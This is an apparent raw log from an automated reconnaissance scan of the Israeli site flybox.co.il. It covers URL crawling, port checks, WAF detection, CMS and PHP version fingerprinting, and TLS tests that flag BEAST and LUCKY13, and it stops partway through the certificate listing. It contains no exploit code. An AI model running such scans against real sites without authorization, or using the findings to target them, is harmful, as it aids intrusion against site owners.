|_[ + ] [ 93 / 100 ]-[05:19:46] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/tag/חוויה-לילדים/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 403 Forbidden, Server: cloudflare  , IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 94 / 100 ]-[05:19:46] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/ע׀ים-ב׀עם-×”×š××©×•× ×”/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 403 Forbidden, Server: cloudflare  , IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 95 / 100 ]-[05:19:46] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/selected-package/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 403 Forbidden, Server: cloudflare  , IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 96 / 100 ]-[05:19:47] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/contact-test/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 97 / 100 ]-[05:19:48] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/choose-package/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 98 / 100 ]-[05:19:50] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/ךישום-×œ× ×™×•×–×œ×˜×š/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 99 / 100 ]-[05:19:50] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/2016/11/25/אט׹קשיה-לכל-המש׀חה/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

[ INFO ] [ Shutting down ]
[ INFO ] [ End of process INURLBR at [31-12-2017 05:19:50]
[ INFO ] [ TOTAL FILTERED VALUES ]:: [ 0 ]
[ INFO ] [ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-flybox.co.il.txt  ]
|_________________________________________________________________________________________

\_________________________________________________________________________________________/

 + -- --=[Port 110 closed... skipping.
 + -- --=[Port 111 closed... skipping.
 + -- --=[Port 135 closed... skipping.
 + -- --=[Port 139 closed... skipping.
 + -- --=[Port 161 closed... skipping.
 + -- --=[Port 162 closed... skipping.
 + -- --=[Port 389 closed... skipping.
 + -- --=[Port 443 opened... running tests...
 + -- ----------------------------=[Checking for WAF]=------------------------ -- +

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking https://flybox.co.il
The site https://flybox.co.il is behind a CloudFlare
Number of requests: 1

 + -- ----------------------------=[Checking Cloudflare]=--------------------- -- +
 + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
https://flybox.co.il [301 Moved Permanently] CloudFlare, Cookies[PHPSESSID,__cfduid,qtrans_front_language], Country[UNITED STATES][US], HTTPServer[cloudflare], HttpOnly[__cfduid], IP[104.31.74.239], PHP[7.0.13], RedirectLocation[https://www.flybox.co.il/], UncommonHeaders[cf-ray], X-Powered-By[PHP/7.0.13]
https://www.flybox.co.il/ [200 OK] CloudFlare, Cookies[PHPSESSID,__cfduid,qtrans_front_language], Country[UNITED STATES][US], Frame, Google-Analytics[Universal][UA-87930745-1], HTML5, HTTPServer[cloudflare], HttpOnly[__cfduid], IP[104.31.74.239], JQuery[1.0.5,2.1.3], MetaGenerator[WooCommerce 2.5.5,WordPress 4.5.6,qTranslate-X 3.4.6.8], Open-Graph-Protocol[website], PHP[7.0.13], Script[application/ld+json,text/javascript], Title[Flybox - אט׹קשיה במ׹כז לכל המש׀חה והחב׹ים! ×ž× ×”×š×ª ׹וח הגיעה לישךאל], UncommonHeaders[link,access-control-allow-origin,cf-ray], Vimeo, WordPress[4.5.6], X-Powered-By[PHP/7.0.13], X-UA-Compatible[IE=edge]

 + -- ----------------------------=[Gathering SSL/TLS Info]=------------------ -- +
Version: 1.11.10-static
OpenSSL 1.0.2-chacha (1.0.2g-dev)

Testing SSL server flybox.co.il on port 443 using SNI name flybox.co.il

  TLS Fallback SCSV:
Server does not support TLS Fallback SCSV

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression disabled

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

  Supported Server Cipher(s):
Preferred TLSv1.2  256 bits  ECDHE-ECDSA-CHACHA20-POLY1305 Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-ECDSA-AES128-GCM-SHA256 Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-ECDSA-AES128-SHA        Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-ECDSA-AES128-SHA256     Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-AES256-GCM-SHA384 Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-AES256-SHA        Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-AES256-SHA384     Curve P-256 DHE 256
Preferred TLSv1.1  128 bits  ECDHE-ECDSA-AES128-SHA        Curve P-256 DHE 256
Accepted  TLSv1.1  256 bits  ECDHE-ECDSA-AES256-SHA        Curve P-256 DHE 256
Preferred TLSv1.0  128 bits  ECDHE-ECDSA-AES128-SHA        Curve P-256 DHE 256
Accepted  TLSv1.0  256 bits  ECDHE-ECDSA-AES256-SHA        Curve P-256 DHE 256

  SSL Certificate:
Signature Algorithm: ecdsa-with-SHA256
Subject:  sni165065.cloudflaressl.com
Altnames: DNS:sni165065.cloudflaressl.com, DNS:*.aonlineorder.tk, DNS:*.bestproductthisyear.tk, DNS:*.bigsale135store.tk, DNS:*.bigsale171store.tk, DNS:*.bigsale215store.tk, DNS:*.bigsale248store.tk, DNS:*.bigsale281store.tk, DNS:*.bjfhiu.tk, DNS:*.bsmartbuyer.tk, DNS:*.bsmartonlineshop.tk, DNS:*.btokoonlinemurah.tk, DNS:*.budgettrouwfilm.nl, DNS:*.dbranded.tk, DNS:*.eawesomemarket.tk, DNS:*.emmom.tk, DNS:*.flybox.co.il, DNS:*.fmarketplus.tk, DNS:*.ftopbuy.tk, DNS:*.h1xv9oacp.ga, DNS:*.ialliexpress.tk, DNS:*.iowist.com, DNS:*.ipaytoko.tk, DNS:*.iperfectmarket.tk, DNS:*.ismartxpress.tk, DNS:*.jsmartonlineshop.tk, DNS:*.jtopcharts.tk, DNS:*.lalliexpress.tk, DNS:*.lpayperclick.tk, DNS:*.lpremiumonlineshop.tk, DNS:*.onlinekanyakumari.com, DNS:*.osmartbuyer.tk, DNS:*.pawesomemarket.tk, DNS:*.pbelimudah.tk, DNS:*.rlinkaliexpress.tk, DNS:*.rnesaliexpress.tk, DNS:*.samriddle.website, DNS:*.snapcracka.us, DNS:*.stokoonlinemurah.tk, DNS:*.taeaj.tk, DNS:*.techxpertsllc.com, DNS:*.vbrs.co.uk, DNS:*.wholesaleonline114.tk, DNS:*.wholesaleonline4.tk, DNS:*.wholesaleonline55.tk, DNS:*.wittcatt.stream, DNS:aonlineorder.tk, DNS:bestproductthisyear.tk, DNS:bigsale135store.tk, DNS:bigsale171store.tk, DNS:bigsale215store.tk, DNS:bigsale248store.tk, DNS:bigsale281store.tk, DNS:bjfhiu.tk, DNS:bsmartbuyer.tk, DNS:bsmartonlineshop.tk, DNS:btokoonlinemurah.tk, DNS:budgettrouwfilm.nl, DNS:dbranded.tk, DNS:eawesomemarket.tk, DNS:emmom.tk, DNS:flybox.co.il, DNS:fmarketplus.tk, DNS:ftopbuy.tk, DNS:h1xv9oacp.ga, DNS:ialliexpress.tk, DNS:iowist.com, DNS:ipaytoko.tk, DNS:iperfectmarket.tk, DNS:ismartxpress.tk, DNS:jsmartonlineshop.tk, DNS:jtopcharts.tk, DNS:lalliexpress.tk, DNS:lpayperclick.tk, DNS:lpremiumonlineshop.tk, DNS:onlinekanyakumari.com, DNS:osmartbuyer.tk, DNS:pawesomemarket.tk, DNS:pbelimudah.tk, DNS:rlinkaliexpress.tk, DNS:rnesaliexpress.tk, DNS:samriddle.website, DNS:snapcracka.us, DNS:stokoonlinemurah.tk, DNS:taeaj.tk, DNS:techxpertsllc.com, DNS:vbrs.co.uk, DNS:wholesaleonline114.tk, DNS:wholesaleonline4.tk, DNS:wholesaleonline55.tk, DNS:wittcatt.stream
Issuer:   COMODO ECC Domain Validation Secure Server CA 2

Not valid before: Dec 17 00:00:00 2017 GMT
Not valid after:  Jun 25 23:59:59 2018 GMT

###########################################################
    testssl       2.9dev from https://testssl.sh/dev/

      This program is free software. Distribution and
             modification under GPLv2 permitted.
      USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!

       Please file bugs @ https://testssl.sh/bugs/

###########################################################

 Using "OpenSSL 1.0.2-chacha (1.0.2i-dev)" [~183 ciphers]
 on Kali:/usr/share/sniper/plugins/testssl.sh/bin/openssl.Linux.x86_64
 (built: "Jun 22 19:32:29 2016", platform: "linux-x86_64")


Testing all IPv4 addresses (port 443): 104.31.75.239 104.31.74.239
-----------------------------------------------------
 Start 2017-12-31 05:20:05        -->> 104.31.75.239:443 (flybox.co.il) <<--

 further IP addresses:   104.31.74.239 2400:cb00:2048:1::681f:4bef
                         2400:cb00:2048:1::681f:4aef
 rDNS (104.31.75.239):   --
 Service detected:       HTTP


 Testing protocols via sockets except SPDY+HTTP2 

 SSLv2      not offered (OK)
 SSLv3      not offered (OK)
 TLS 1      offered
 TLS 1.1    offered
 TLS 1.2    offered (OK)
 TLS 1.3    offered (OK): draft 18
 SPDY/NPN   h2, spdy/3.1, http/1.1 (advertised)
 HTTP2/ALPN h2, spdy/3.1, http/1.1 (offered)

 Testing ~standard cipher categories 

 NULL ciphers (no encryption)                  not offered (OK)
 Anonymous NULL Ciphers (no authentication)    not offered (OK)
 Export ciphers (w/o ADH+NULL)                 not offered (OK)
 LOW: 64 Bit + DES encryption (w/o export)     not offered (OK)
 Weak 128 Bit ciphers (SEED, IDEA, RC[2,4])    not offered (OK)
 Triple DES Ciphers (Medium)                   not offered (OK)
 High encryption (AES+Camellia, no AEAD)       offered (OK)
 Strong encryption (AEAD ciphers)              offered (OK)


 Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4 

 PFS is offered (OK)          TLS13-AES-256-GCM-SHA384
                              TLS13-CHACHA20-POLY1305-SHA256
                              ECDHE-ECDSA-CHACHA20-POLY1305-OLD
                              ECDHE-ECDSA-AES256-GCM-SHA384
                              ECDHE-ECDSA-AES256-SHA384 ECDHE-ECDSA-AES256-SHA
                              ECDHE-ECDSA-CHACHA20-POLY1305
                              TLS13-AES-128-GCM-SHA256
                              ECDHE-ECDSA-AES128-GCM-SHA256
                              ECDHE-ECDSA-AES128-SHA256 ECDHE-ECDSA-AES128-SHA
 Elliptic curves offered:     secp224r1 prime256v1 secp384r1 secp521r1 X25519


 Testing server preferences 

 Has server cipher order?     yes (OK)
 Negotiated protocol          TLSv1.3
 Negotiated cipher            TLS13-AES-256-GCM-SHA384, 253 bit ECDH (X25519)
 Cipher order
    TLSv1:     ECDHE-ECDSA-AES128-SHA ECDHE-ECDSA-AES256-SHA
    TLSv1.1:   ECDHE-ECDSA-AES128-SHA ECDHE-ECDSA-AES256-SHA
    TLSv1.2:   ECDHE-ECDSA-CHACHA20-POLY1305-OLD ECDHE-ECDSA-CHACHA20-POLY1305
               ECDHE-ECDSA-AES128-GCM-SHA256 ECDHE-ECDSA-AES128-SHA
               ECDHE-ECDSA-AES128-SHA256 ECDHE-ECDSA-AES256-GCM-SHA384
               ECDHE-ECDSA-AES256-SHA ECDHE-ECDSA-AES256-SHA384
    TLSv1.3:   TLS13-AES-256-GCM-SHA384 TLS13-CHACHA20-POLY1305-SHA256
               TLS13-AES-128-GCM-SHA256


 Testing server defaults (Server Hello) 

 TLS extensions (standard)    "renegotiation info/#65281" "server name/#0"
                              "session ticket/#35" "status request/#5"
                              "next protocol/#13172" "EC point formats/#11"
                              "extended master secret/#23"
                              "signed certificate timestamps/#18"
                              "application layer protocol negotiation/#16"
 Session Ticket RFC 5077 hint 64800 seconds, session tickets keys seems to be rotated < daily
 SSL Session ID support       yes
 Session Resumption           Tickets: yes, ID: yes
 TLS clock skew               -1 sec from localtime
 Signature Algorithm          ECDSA with SHA256
 Server key size              ECDSA 256 bits
 Fingerprint / Serial         SHA1 241F2CD8DFACDEAEB1AEB7104A94653708701987 / 4B78D31156C5EC99DAF67C53B1FDAC49
                              SHA256 39F0EFA4589C2C3EE02214DE224E9EF7BAED9F31A533D05A131ED458E82F53EE
 Common Name (CN)             sni165065.cloudflaressl.com (request w/o SNI didn't succeed, usual for EC certificates)
 subjectAltName (SAN)         sni165065.cloudflaressl.com *.aonlineorder.tk
                              *.bestproductthisyear.tk *.bigsale135store.tk
                              *.bigsale171store.tk *.bigsale215store.tk
                              *.bigsale248store.tk *.bigsale281store.tk
                              *.bjfhiu.tk *.bsmartbuyer.tk
                              *.bsmartonlineshop.tk *.btokoonlinemurah.tk
                              *.budgettrouwfilm.nl *.dbranded.tk
                              *.eawesomemarket.tk *.emmom.tk *.flybox.co.il
                              *.fmarketplus.tk *.ftopbuy.tk *.h1xv9oacp.ga
                              *.ialliexpress.tk *.iowist.com *.ipaytoko.tk
                              *.iperfectmarket.tk *.ismartxpress.tk
                              *.jsmartonlineshop.tk *.jtopcharts.tk
                              *.lalliexpress.tk *.lpayperclick.tk
                              *.lpremiumonlineshop.tk *.onlinekanyakumari.com
                              *.osmartbuyer.tk *.pawesomemarket.tk
                              *.pbelimudah.tk *.rlinkaliexpress.tk
                              *.rnesaliexpress.tk *.samriddle.website
                              *.snapcracka.us *.stokoonlinemurah.tk *.taeaj.tk
                              *.techxpertsllc.com *.vbrs.co.uk
                              *.wholesaleonline114.tk *.wholesaleonline4.tk
                              *.wholesaleonline55.tk *.wittcatt.stream
                              aonlineorder.tk bestproductthisyear.tk
                              bigsale135store.tk bigsale171store.tk
                              bigsale215store.tk bigsale248store.tk
                              bigsale281store.tk bjfhiu.tk bsmartbuyer.tk
                              bsmartonlineshop.tk btokoonlinemurah.tk
                              budgettrouwfilm.nl dbranded.tk eawesomemarket.tk
                              emmom.tk flybox.co.il fmarketplus.tk ftopbuy.tk
                              h1xv9oacp.ga ialliexpress.tk iowist.com
                              ipaytoko.tk iperfectmarket.tk ismartxpress.tk
                              jsmartonlineshop.tk jtopcharts.tk lalliexpress.tk
                              lpayperclick.tk lpremiumonlineshop.tk
                              onlinekanyakumari.com osmartbuyer.tk
                              pawesomemarket.tk pbelimudah.tk
                              rlinkaliexpress.tk rnesaliexpress.tk
                              samriddle.website snapcracka.us
                              stokoonlinemurah.tk taeaj.tk techxpertsllc.com
                              vbrs.co.uk wholesaleonline114.tk
                              wholesaleonline4.tk wholesaleonline55.tk
                              wittcatt.stream 
 Issuer                       COMODO ECC Domain Validation Secure Server CA 2 (COMODO CA Limited from GB)
 Trust (hostname)             Ok via SAN (SNI mandatory)
 Chain of trust               Ok   
 EV cert (experimental)       no
 Certificate Expiration       176 >= 60 days (2017-12-16 19:00 --> 2018-06-25 19:59 -0400)
 # of certificates provided   3
 Certificate Revocation List  http://crl.comodoca4.com/COMODOECCDomainValidationSecureServerCA2.crl
 OCSP URI                     http://ocsp.comodoca4.com
 OCSP stapling                offered
 OCSP must staple             no
 DNS CAA RR (experimental)    not offered
 Certificate Transparency     yes (TLS extension)


 Testing HTTP header response @ "/" 

 HTTP Status Code             301 Moved Permanently, redirecting to "https://www.flybox.co.il/"
 HTTP clock skew              0 sec from localtime
 Strict Transport Security    --
 Public Key Pinning           --
 Server banner                cloudflare
 Application banner           X-Powered-By(B: PHP/7(B.0(B.1(B3(B
 Cookie(s)                    3 issued: NONE secure, 1/3 HttpOnly -- maybe better try target URL of 30x
 Security headers             --
 Reverse Proxy banner         --


 Testing vulnerabilities 

 Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension
 CCS (CVE-2014-0224)                       not vulnerable (OK)
 Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK), no session tickets
 ROBOT                                     Server does not support any cipher suites that use RSA key transport
 Secure Renegotiation (CVE-2009-3555)      not vulnerable (OK)
 Secure Client-Initiated Renegotiation     not vulnerable (OK)
 CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)
 BREACH (CVE-2013-3587)                    no HTTP compression (OK)  - only supplied "/" tested
 POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)
 TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)
 SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)
 FREAK (CVE-2015-0204)                     not vulnerable (OK)
 DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)
                                           no RSA certificate, thus certificate can't be used with SSLv2 elsewhere
 LOGJAM (CVE-2015-4000), experimental      not vulnerable (OK): no DH EXPORT ciphers, no DH key detected
 BEAST (CVE-2011-3389)                     TLS1: ECDHE-ECDSA-AES128-SHA
                                                 ECDHE-ECDSA-AES256-SHA 
                                           VULNERABLE -- but also supports higher protocols (possible mitigation): TLSv1.1 TLSv1.2
 LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS
 RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)


 Testing 364 ciphers via OpenSSL plus sockets against the server, ordered by encryption strength 

Hexcode  Cipher Suite Name (OpenSSL)       KeyExch.   Encryption  Bits     Cipher Suite Name (RFC)
-----------------------------------------------------------------------------------------------------------------------------
 x1302   TLS13-AES-256-GCM-SHA384          ECDH 253   AESGCM      256      TLS_AES_256_GCM_SHA384
 xcc14   ECDHE-ECDSA-CHACHA20-POLY1305-OLD ECDH 256   ChaCha20    256      TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256_OLD
 xc02c   ECDHE-ECDSA-AES256-GCM-SHA384     ECDH 256   AESGCM      256      TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
 xc024   ECDHE-ECDSA-AES256-SHA384         ECDH 256   AES         256      TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384
 xc00a   ECDHE-ECDSA-AES256-SHA            ECDH 256   AES         256      TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
 xcca9   ECDHE-ECDSA-CHACHA20-POLY1305     ECDH 253   ChaCha20    256      TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
 x1301   TLS13-AES-128-GCM-SHA256          ECDH 253   AESGCM      128      TLS_AES_128_GCM_SHA256
 xc02b   ECDHE-ECDSA-AES128-GCM-SHA256     ECDH 256   AESGCM      128      TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
 xc023   ECDHE-ECDSA-AES128-SHA256         ECDH 256   AES         128      TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
 xc009   ECDHE-ECDSA-AES128-SHA            ECDH 256   AES         128      TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA


 Running client simulations via sockets 

 Android 2.3.7                No connection
 Android 4.1.1                TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Android 4.3                  TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Android 4.4.2                TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Android 5.0.0                TLSv1.2 ECDHE-ECDSA-CHACHA20-POLY1305-OLD, 256 bit ECDH (P-256)
 Android 6.0                  TLSv1.2 ECDHE-ECDSA-CHACHA20-POLY1305-OLD, 256 bit ECDH (P-256)
 Android 7.0                  TLSv1.2 ECDHE-ECDSA-CHACHA20-POLY1305, 253 bit ECDH (X25519)
 Chrome 51 Win 7              TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 253 bit ECDH (X25519)
 Chrome 57 Win 7              TLSv1.3 TLS13-AES-128-GCM-SHA256, 253 bit ECDH (X25519)
 Firefox 49 Win 7             TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Firefox 53 Win 7             TLSv1.3 TLS13-AES-128-GCM-SHA256, 253 bit ECDH (X25519)
 IE 6 XP                      No connection
 IE 7 Vista                   TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 IE 8 XP                      No connection
 IE 8 Win 7                   TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 IE 11 Win 7                  TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 IE 11 Win 8.1                TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 IE 11 Win Phone 8.1 Update   TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 IE 11 Win 10                 TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Edge 13 Win 10               TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Edge 13 Win Phone 10         TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Opera 17 Win 7               TLSv1.2 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Safari 5.1.9 OS X 10.6.8     TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Safari 7 iOS 7.1             TLSv1.2 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Safari 9 OS X 10.11          TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Safari 10 OS X 10.12         TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Apple ATS 9 iOS 9            TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 Tor 17.0.9 Win 7             TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Java 6u45                    No connection
 Java 7u25                    TLSv1.0 ECDHE-ECDSA-AES128-SHA, 256 bit ECDH (P-256)
 Java 8u31                    TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 OpenSSL 1.0.1l               TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
 OpenSSL 1.0.2e               TLSv1.2 ECDHE-ECDSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)

 Done 2017-12-31 05:24:09 [ 247s] -->> 104.31.75.239:443 (flybox.co.il) <<--

-----------------------------------------------------
 Start 2017-12-31 05:24:09        -->> 104.31.74.239:443 (flybox.co.il) <<--

 further IP addresses:   104.31.75.239 2400:cb00:2048:1::681f:4bef
                         2400:cb00:2048:1::681f:4aef
 rDNS (104.31.74.239):   --
 Service detected:       HTTP


 Testing protocols via sockets except SPDY+HTTP2 

 SSLv2      not offered (OK)
 SSLv3      not offered (OK)
 TLS 1      offered
 TLS 1.1    offered
 TLS 1.2    offered (OK)
 TLS 1.3    offered (OK): draft 18
 SPDY/NPN   h2, spdy/3.1, http/1.1 (advertised)
 HTTP2/ALPN h2, spdy/3.1, http/1.1 (offered)

 Testing ~standard cipher categories 

 NULL ciphers (no encryption)                  not offered (OK)
 Anonymous NULL Ciphers (no authentication)    not offered (OK)
 Export ciphers (w/o ADH+NULL)                 not offered (OK)
 LOW: 64 Bit + DES encryption (w/o export)     not offered (OK)
 Weak 128 Bit ciphers (SEED, IDEA, RC[2,4])    not offered (OK)
 Triple DES Ciphers (Medium)                   not offered (OK)
 High encryption (AES+Camellia, no AEAD)       offered (OK)
 Strong encryption (AEAD ciphers)              offered (OK)


 Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4 

 PFS is offered (OK)          TLS13-AES-256-GCM-SHA384
                              TLS13-CHACHA20-POLY1305-SHA256
                              ECDHE-ECDSA-CHACHA20-POLY1305-OLD
                              ECDHE-ECDSA-AES256-GCM-SHA384
                              ECDHE-ECDSA-AES256-SHA384 ECDHE-ECDSA-AES256-SHA
                              ECDHE-ECDSA-CHACHA20-POLY1305
                              TLS13-AES-128-GCM-SHA256
                              ECDHE-ECDSA-AES128-GCM-SHA256
                              ECDHE-ECDSA-AES128-SHA256 ECDHE-ECDSA-AES128-SHA
 Elliptic curves offered:     secp224r1 prime256v1 secp384r1 secp521r1 X25519


 Testing server preferences 

 Has server cipher order?     yes (OK)
 Negotiated protocol          TLSv1.3
 Negotiated cipher            TLS13-AES-256-GCM-SHA384, 253 bit ECDH (X25519)
 Cipher order
    TLSv1:     ECDHE-ECDSA-AES128-SHA ECDHE-ECDSA-AES256-SHA
    TLSv1.1:   ECDHE-ECDSA-AES128-SHA ECDHE-ECDSA-AES256-SHA
    TLSv1.2:   ECDHE-ECDSA-CHACHA20-POLY1305-OLD ECDHE-ECDSA-CHACHA20-POLY1305
               ECDHE-ECDSA-AES128-GCM-SHA256 ECDHE-ECDSA-AES128-SHA
               ECDHE-ECDSA-AES128-SHA256 ECDHE-ECDSA-AES256-GCM-SHA384
               ECDHE-ECDSA-AES256-SHA ECDHE-ECDSA-AES256-SHA384
    TLSv1.3:   TLS13-AES-256-GCM-SHA384 TLS13-CHACHA20-POLY1305-SHA256
               TLS13-AES-128-GCM-SHA256


 Testing server defaults (Server Hello) 

 TLS extensions (standard)    "renegotiation info/#65281" "server name/#0"
                              "session ticket/#35" "status request/#5"
                              "next protocol/#13172" "EC point formats/#11"
                              "extended master secret/#23"
                              "signed certificate timestamps/#18"
                              "application layer protocol negotiation/#16"
 Session Ticket RFC 5077 hint 64800 seconds, session tickets keys seems to be rotated < daily
 SSL Session ID support       yes
 Session Resumption           Tickets: yes, ID: yes
 TLS clock skew               -1 sec from localtime
 Signature Algorithm          ECDSA with SHA256
 Server key size              ECDSA 256 bits
 Fingerprint / Serial         SHA1 241F2CD8DFACDEAEB1AEB7104A94653708701987 / 4B78D31156C5EC99DAF67C53B1FDAC49
                              SHA256 39F0EFA4589C2C3EE02214DE224E9EF7BAED9F31A533D05A131ED458E82F53EE
 Common Name (CN)             sni165065.cloudflaressl.com (request w/o SNI didn't succeed, usual for EC certificates)
 subjectAltName (SAN)         sni165065.cloudflaressl.com *.aonlineorder.tk
                              *.bestproductthisyear.tk *.bigsale135store.tk
                              *.bigsale171store.tk *.bigsale215store.tk
                              *.bigsale248store.tk *.bigsale281store.tk
                              *.bjfhiu.tk *.bsmartbuyer.tk
                              *.bsmartonlineshop.tk *.btokoonlinemurah.tk
                              *.budgettrouwfilm.nl *.dbranded.tk
                              *.eawesomemarket.tk *.emmom.tk *.flybox.co.il
                              *.fmarketplus.tk *.ftopbuy.tk *.h1xv9oacp.ga
                              *.ialliexpress.tk *.iowist.com *.ipaytoko.tk
                              *.iperfectmarket.tk *.ismartxpress.tk
                              *.jsmartonlineshop.tk *.jtopcharts.tk
                              *.lalliexpress.tk *.lpayperclick.tk
                              *.lpremiumonlineshop.tk *.onlinekanyakumari.com
                              *.osmartbuyer.tk *.pawesomemarket.tk
                              *.pbelimudah.tk *.rlinkaliexpress.tk
                              *.rnesaliexpress.tk *.samriddle.website
                              *.snapcracka.us *.stokoonlinemurah.tk *.taeaj.tk
                              *.techxpertsllc.com *.vbrs.co.uk
                              *.wholesaleonline114.tk *.wholesaleonline4.tk
                              *.wholesaleonline55.tk *.wittcatt.stream
                              aonlineorder.tk bestproductthisyear.tk
                              bigsale135store.tk bigsale171store.tk
                              bigsale215store.tk bigsale248store.tk
                              bigsale281store.tk bjfhiu.tk bsmartbuyer.tk
                              bsmartonlineshop.tk btokoonlinemurah.tk
                              budgettrouwfilm.nl dbranded.tk eawesomemarket.tk
                              emmom.tk flybox.co.il fmarketplus.tk ftopbuy.tk
                              h1xv9oacp.ga ialliexpress.tk iowist.com
